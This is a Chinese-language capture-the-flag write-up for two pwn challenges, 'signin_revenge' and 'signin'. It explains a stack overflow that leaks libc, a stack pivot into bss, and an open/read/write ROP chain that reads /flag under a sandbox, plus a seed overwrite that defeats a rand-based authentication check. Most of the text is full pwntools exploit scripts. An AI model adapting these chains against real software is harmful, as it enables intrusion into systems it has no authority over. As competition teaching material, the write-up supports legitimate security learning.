写了强网拟态的两道pwn题,不算特别难吧,但是思路比较有意思。

signin_revenge

image-20241020122158659

只开了nx,但是题目开了沙箱,还是栈题,一眼orw

题目中的漏洞函数很明显,给了0x30的溢出范围,足够用puts泄露libc,但是没有给mmap,本来是想着mmap开一块内存,但是需要的参数太多了,不好写,根据题目的提示也大概率是用栈迁移来写,所以后面还是用的栈迁移。

虽然但是,搜orw技巧的时候直接搜到原题了,那没办法了(这能忍住不用?

原题中使用lea rax,[rbp-0x100]再次调用read函数将orw的gadget写到bss+0x300这点还是挺叼的,换我来可能就直接调用read函数了(但是可能又面临着溢出的位置不够的窘境,所以此处的处理可能是必要的)。题目中还用了通用的gadget,泄露libc之后就能得到,这个我也基本忘光了(hhhh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./vuln')
p = process('./vuln')
libc = ELF('./libc.so.6')
offset = 0x100 + 0x08
pop_rdi = 0x401393
pop_ret = 0x40101a
bss = 0x404300
lea_rax = 0x4012CF
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = 0x4012F0
leave = 0x4012EE

payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil('lets move and pwn!')

p.send(payload_leak)
# 泄露libc
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
# 获取open,read,write的真实地址,从libc的通用gadget处获取pop_rdx和pop_rsi
pop_rdx = libc_base + 0x142c92
pop_rsi = libc_base + 0x2601f

# 修改rbp为bss + 0x400,由于lea rax,[rbp-0x100]的原因,可以在bss + 0x400的位置执行read。(ps,其实直接调用read也是一样的,只是不一定写得下而已,所以这里是很巧妙的方法)
payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax)

# gdb.attach(p)
p.recvuntil('lets move and pwn!')
p.send(payload_migration)
pause()
# 在bss+0x300处读入orw的gadget
#open(bss+0x300,0),由于栈迁移开头8个字节不能使用,此处使用了bss+0x300来指向flag字符串
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
# read(3,bss+0x300,0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
# write(1,bss+0x300,0x100)
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(0x100, b'\x00')
# 栈迁移,将栈迁移到bss+0x300的位置
payload += p64(bss + 0x300) + p64(leave)
p.send(payload)
p.interactive()

signin

比signin_revenge难(太抽象了

看上去是一道堆题,其实还是栈题,仔细观察可以发现存在一个后门函数o_O,就是上一题中的vuln函数,故可以借用上题脚本。但是在此之外又增加了auth鉴权函数,好在其中也存在栈溢出,可以通过溢出修改srand(seed)中的seed,此处修改为了0x11111111,再调用c中的rand函数就可以计算出固定的随机数,转为字节之后即可绕过auth函数。进入add函数中的o_O函数之后,打上题脚本读取到flag。注意对gadget进行修改,不然就会报错,毕竟是两个不同的程序。

感觉这道题最恶心的点是read完没有对数据进行处理,转为整型,导致我看着正确的字符串输入和错误的auth返回看了半天,太抽象了,全得改成字节输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import ctypes
import random
from pwn import *

# 加载 C 标准库
libc = ctypes.CDLL("./libc.so.6")

# 定义 srand 函数的参数类型
libc.srand.argtypes = [ctypes.c_uint]

# 设置随机数种子
seed = 0x11111111
libc.srand(seed)

# 生成 100 个随机数
random_numbers = [libc.rand()%100+1 for _ in range(100)]

# 打印生成的随机数
#for i, number in enumerate(random_numbers):
# print(f"Random number {i + 1}: {number}")

context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('ip','port')
#p = process('./vuln')
elf = ELF('./vuln')
#p = gdb.debug('./vuln','b *0x4013c0')
libc = ELF('./libc.so.6')
offset = 0x100 + 0x08
pop_rdi = 0x401893
pop_ret = 0x40101a
bss = 0x404300
lea_rax = 0x4013CF
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = 0x4013C0
leave = 0x4013EE

p.send(0x8*b'a'+(0x12-0x8)*b'\x11')
for i in range(100):
p.sendafter('Input the authentication code:',random_numbers[i].to_bytes(1, 'big'))
p.sendafter('>> ',b'\x01')
p.sendafter('Index: ',b'\x01')
p.sendafter('Note: ',b'\x01')

payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#p.recvuntil('lets move and pwn!')
p.send(payload_leak)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdx = libc_base + 0x142c92
pop_rsi = libc_base + 0x2601f

payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax)
# gdb.attach(p)
#p.recvuntil('lets move and pwn!')
p.send(payload_migration)
pause()
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss + 0x300) + p64(leave)
p.send(payload)
p.interactive()